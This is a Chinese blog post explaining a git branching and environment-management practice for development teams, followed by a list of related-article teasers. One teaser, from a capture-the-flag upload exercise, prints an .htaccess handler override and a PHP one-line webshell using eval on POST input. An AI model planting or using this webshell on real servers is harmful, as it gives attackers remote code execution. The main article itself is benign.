04架构管理之分支管理实践-一种git分支管理最佳实践

        专栏说明:针对于企业的架构管理岗位,分享架构管理岗位的职责,工作内容,指导架构师如何完成架构管理工作,完成架构师到架构管理者的转变。计划以10篇博客阐述清楚架构管理工作,专栏名称:架构管理之道

一句话导读

        对于架构管理、研发管理中,分支管理是公司研发过程中必不可少的一个实践。本文主要是根据个人及公司实践,来说明下具体的分支管理方法,这里的分支指的git仓库的代码分支。分支管理方法有很多,大家可以自行定义,只要能够完成研发协作即可。

目录

一句话导读

一、环境管理

        1.开发环境

        2.测试环境

        3.预发布环境

        4.生产环境

        5.扩展

二、分支管理

        1.feature分支

        2.develop分支

        3.release分支

        4.master分支

        5.tag

        6.hotfix分支

三、分支管理原则


一、环境管理

        一般公司研发都会有几个环境,如开发环境、测试环境、预发布环境、生产环境,有些公司甚至还有本地环境、验收环境、演示环境、性能测试环境等等。针对这么多的环境,我们研发中要根据公司、项目的实际情况,进行环境的管理。一般项目应该有开发环境、测试环境和生产环境。有些小项目也可能只有一个研发环境,项目结束后直接将研发环境转为生产环境。所以说研发环境的需求应该是根据实际情况来定的。

        1.开发环境

        研发人员将完成的代码发布到开发环境中,做初步的集成测试,开发环境由开发人员自行管理,代码极其不稳定,环境机器配置可以比较低。一般用dev标识

        2.测试环境

        主要提供给测试人员使用,代码经过研发环境自测完成后可以提测,代码由测试管理员管理,环境代码相对比较稳定,环境机器根据测试要求配置即可,不用太高配置。一般用test标识

        3.预发布环境

        主要提供个测试人员使用,或者做UAT验收使用,代码经过测试环境验证完成后,可以提交到预发布环境中,环境的配置和数据最好和生产一致,目的是在上生产前做最后确认,环境代码和生产保持一致。机器配置最好和生产环境一致。一般用pre标识

        4.生产环境

        代码最终交付的环境,一般部署经过测试验证、预发布验证的代码,生产环境由专人负责严格管理,一般用prod标识

        5.扩展

  • 本地环境:研发人员自己本机的环境,开发人员自行管理,部分中间件、数据库等可以自建或者用开发环境中的组件。用户开发过程中的调试等工作。
  • 验收环境:一般由测试人员管理,负责将已完成的功能需求代码部署上去,交由最终软件的用户进行测试或需求提出的业务部门进行验收测试,通常测试完成后即可发布生产环境,一般用UAT标识
  • 演示环境:演示环境相对于生产环境而定义的,环境是给用户演示而定制的。功能基本和生产一致,用户相对较少,环境要保持相对稳定,尤其是客户需要做演示的时候。一般用demo标识
  • 性能测试环境:主要是对软件的性能情况进行测试。环境应该和生产保持一致,但是一般性能测试环境是临时的,测试完成后即可下线。

二、分支管理

        分支管理的逻辑最好是和团队规模相匹配。更好的git分支管理,有助于团队的协作效率的提高和代码的管理。我们使用基于主干分支管理策略,将代码分支和环境相对应,提高代码的质量。

        1.feature分支

        研发分支,研发人员从develop分支拉取,并以feature/开头命名自己的研发分支,开发人员对于新的需求则在该分支上开发,并自行管理,对应本地环境。

        2.develop分支

        研发测试分支,研发人员可将开发好的代码合并到该分支上,在研发环境进行初步集成自测,该分支由研发人员自行管理。

        3.release分支

        测试分支,该分支为保护分支,不允许研发人员直接commit代码,研发人员可以发起feature分支合并到release分支的申请,由配置管理员进行合并,发布到测试环境进行集成测试。该分支由配置管理员管理。

        4.master分支

        生产分支,该分支为保护分支,不允许研发人员直接commit代码,只接受release分支的合并,由配置管理员负责管理,发布生产环境。

        5.tag

        版本归档标识,当发布的系统稳定后形成tag版本标识,进行归档。

        6.hotfix分支

        问题修复分支,如果生产版本发布稳定后,出现bug,可从master拉取hotfix分支,修复完成后,合并到release分支测试通过,将hotfix合并到master发布生产,形成新的tag;如果是发布过程中有bug,也可拉取hotfix分支,并提交release分支测试后走后续发布流程

具体如下图:

三、分支管理原则

        主分支保持稳定: 主分支(如 main 或 master)应该保持稳定,只有已上线的代码。禁止直接在主分支上开发。

  • 特性分支:开发人员在对新功能的开发时,创建独立的特性分支。分支名可以描述功能的目标,如 feature/login。
  • 修复分支:对于 bug 修复,创建修复分支,确保修复在主分支上得到合并。分支名可以描述修复的问题,如 hotfix/login-error.
  • 命名规范:根据公司、团的命名习惯,使用统一的命名规范,清晰的命名方式以便团队成员理解分支用途。可以采用统一的前缀,如 feature/、hotfix/。
  • 小而频繁的提交:不要在一次提交中修复两个bug。单次提交的改动越小,更便于其他开发者理解,每次提交关注一个特定的更改,这有助于追踪和回溯变更历史。
  • 定期合并主分支:定期从主分支拉取最新代码,保持特性分支与主分支同步。避免分支过长时间的分离。
  • 代码审查:代码在提交测试前进行代码审查,提高代码质量。
  • 远程分支:及时推送特性分支到远程仓库,便于团队成员协作和代码审查。
  • 删除不必要的分支:一旦特性分支完成开发或修复,及时删除不再需要的分支,保持仓库的整洁。
  • 标签版本:使用标签来标识重要的版本发布,方便追踪和部署特定版本。
  • 培训和文档: 对团队成员进行培训,分享分支管理的最佳实践和流程,编写分支管理指南。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/97403.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

详解 ElasticSearch Kibana 配置部署

默认安装部署所在机器允许外网 SSH工具 Putty 链接:https://pan.baidu.com/s/1b6gumtsjL_L64rEsOdhd4A 提取码:lxs9 Winscp 链接:https://pan.baidu.com/s/1tD8_2knvv0EJ5OYvXP6VTg 提取码:lxs9 WinSCP安装直接下一步到完成…

wandb安装方法及本地部署教程

文章目录 1 wandb介绍2 wandb安装2.1 注册wandb账号2.2 创建项目并获得密钥2.3 安装wandb并登录 3 wandb本地部署3.1 设置wandb运行模式3.2 云端查看运行数据 4 总结 1 wandb介绍 Wandb(Weights & Biases)是一个用于跟踪、可视化和协作机器学习实验…

MATLAB实现AHP层次分析法——以情人节选取礼物为例

问题背景: 情人节来临之际,广大直男(女)同胞在给异性朋友选购礼物时会遇到难题——什么才是礼物好坏最重要的标准?基于层次分析法AHP进行计算,得出最高权重的指标,给出各位朋友选购礼物的一种思…

阿里云机器学习PAI全新推出特征平台 (Feature Store),助力AI建模场景特征数据高效利用

推荐算法与系统在全球范围内已得到广泛应用,为用户提供了更个性化和智能化的产品推荐体验。在推荐系统领域,AI建模中特征数据的复用、一致性等问题严重影响了建模效率。阿里云机器学习平台 PAI 推出特征平台(PAI-FeatureStore) 。…

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…

MongoDB 双机热备那篇文章是 “毒”

开头还是介绍一下群&#xff0c;如果感兴趣polardb ,mongodb ,mysql ,postgresql ,redis &#xff0c;Oracle ,Oceanbase 等有问题&#xff0c;有需求都可以加群群内有各大数据库行业大咖&#xff0c;CTO&#xff0c;可以解决你的问题。加群请加微信号 liuaustin3 &#xff08;…

【紫光同创国产FPGA教程】——【PGL22G第六章】密码锁实验例程

本原创教程由深圳市小眼睛科技有限公司创作&#xff0c;版权归本公司所有&#xff0c;如需转载&#xff0c;需授权并注明出处 适用于板卡型号&#xff1a; 紫光同创PGL22G开发平台&#xff08;盘古22K&#xff09; 一&#xff1a;盘古22K开发板&#xff08;紫光同创PGL22G开发…

2023年9月重庆/南京/深圳CDGA/CDGP数据治理认证考试报名

据DAMA中国官方网站消息&#xff0c;2023年度第三期DAMA中国CDGA和CDGP认证考试定于2023年9月23日举行。 报名通道现已开启&#xff0c;相关事宜通知如下&#xff1a; 考试科目: 数据治理工程师(CertifiedDataGovernanceAssociate,CDGA) 数据治理专家(CertifiedDataGovernanc…

C#2010 .NET4 解析 json 字符串

下载Newtonsoft.Json.dll using System; using System.Collections.Generic; using System.Linq; using System.Text;using Newtonsoft.Json; using Newtonsoft.Json.Linq; using System; namespace ConsoleApplication1 {class Program{static void Main(string[] args){strin…

硬件知识积累 USB 接口 type - A type - B type - C 的介绍与功能说明 (简单介绍)

1. USB 的介绍 1.1 USB 的定义 USB : 通用串行总线(英语: Universal Serial Bus&#xff0c;缩写:USB)是一种串口总线标准&#xff0c;也是一种输入输出接口的技术规范&#xff0c;被广泛地应用于个人电脑和移动设备等信息通讯产品&#xff0c;并扩展至摄影器材、数字电视&a…

Redis各类数据结构应用场景总结

Redis各类数据结构应用场景总结 引言String应用场景 List应用场景 Hash应用场景 Set应用场景 ZSet应用场景 小结 引言 实际面试过程中更多看重的是对Redis相关数据结构的活学活用&#xff0c;同时也可能会引申出Redis相关底层数据结构原理的实现&#xff0c;笔者最近面试过程中…

MySQL事务原理、MVCC详解

事务原理 1 事务基础 1). 事务 事务 是一组操作的集合&#xff0c;它是一个不可分割的工作单位&#xff0c;事务会把所有的操作作为一个整体一起向系 统提交或撤销操作请求&#xff0c;即这些操作要么同时成功&#xff0c;要么同时失败。 2). 特性 原子性&#xff08;Atomi…

Spring Boot Actuator的Env端点存在本地文件包含(LFI)漏洞CVE-2020-5421

文章目录 0.前言1.参考文档2.基础介绍3.漏洞利用原理3.解决方案1. 升级Spring Boot版本2. 限制端点的访问3. 禁用环境端点4. 不公开敏感的Actuator端点5. 开启安全审计 0.前言 背景&#xff1a; Spring Boot Actuator的Env端点存在本地文件包含(LFI)漏洞CVE-2020-5421。被扫描到…

用Socket实现网络通信

文章目录 背景网络编程网络编程三要素 2.Socket之UDP通信程序2.1 UDP发送数据2.2UDP接收数据 3. Socket之TCP通信程序3.1TCP发送数据3.2TCP接收数据 背景 网络编程 ● 计算机网络 是指将地理位置不同的具有独立功能的多台计算机及其外部设备&#xff0c;通过通信线路连接起来…

TCP 和 UDP 的区别、TCP 是如何保证可靠传输的?

先来介绍一些osi七层模型 分为应用层、表示层、会话层、运输层、网络层、链路层、物理层。 应用层(数据)&#xff1a;确定进程之间通信的性质以及满足用户需要以及提供网络和用户应用&#xff0c;为应用程序提供服务&#xff0c;DNS&#xff0c;HTTP&#xff0c;HTTPS&#xf…

Shell 脚本入门

目录 一、Shell是什么 1.1 我们为什么要学习Shell和使用Shell&#xff1f; 1.2 Shell的分类有哪些&#xff1f; 二、Shell脚本入门知识 2.1 Shell文件命名规范 2.2 Shell解析器 2.3 用Shell 编写hello World 三、Shell的四种变量类型 3.1 系统预定义变量 3.2 自定义变…

2024年java面试--redis(1)

系列文章目录 2024年java面试&#xff08;一&#xff09;–spring篇2024年java面试&#xff08;二&#xff09;–spring篇2024年java面试&#xff08;三&#xff09;–spring篇2024年java面试&#xff08;四&#xff09;–spring篇 文章目录 系列文章目录前言Redis数据类型Red…

vue 小黑记事本

vue 小黑记事本 下面这个界面用html和css 如何搞出来&#xff1f;

软考:中级软件设计师:大数据

软考&#xff1a;中级软件设计师:大数据 提示&#xff1a;系列被面试官问的问题&#xff0c;我自己当时不会&#xff0c;所以下来自己复盘一下&#xff0c;认真学习和总结&#xff0c;以应对未来更多的可能性 关于互联网大厂的笔试面试&#xff0c;都是需要细心准备的 &#x…

Java 复习笔记 - 方法篇

文章目录 一&#xff0c;方法的定义二&#xff0c;最简单的方法定义和调用三&#xff0c;带参数的方法定义和调用四&#xff0c;带返回值方法的定义和调用五&#xff0c;小结六&#xff0c;方法的重载七&#xff0c;方法简单练习1&#xff0c;数组遍历2&#xff0c;数组最大值3…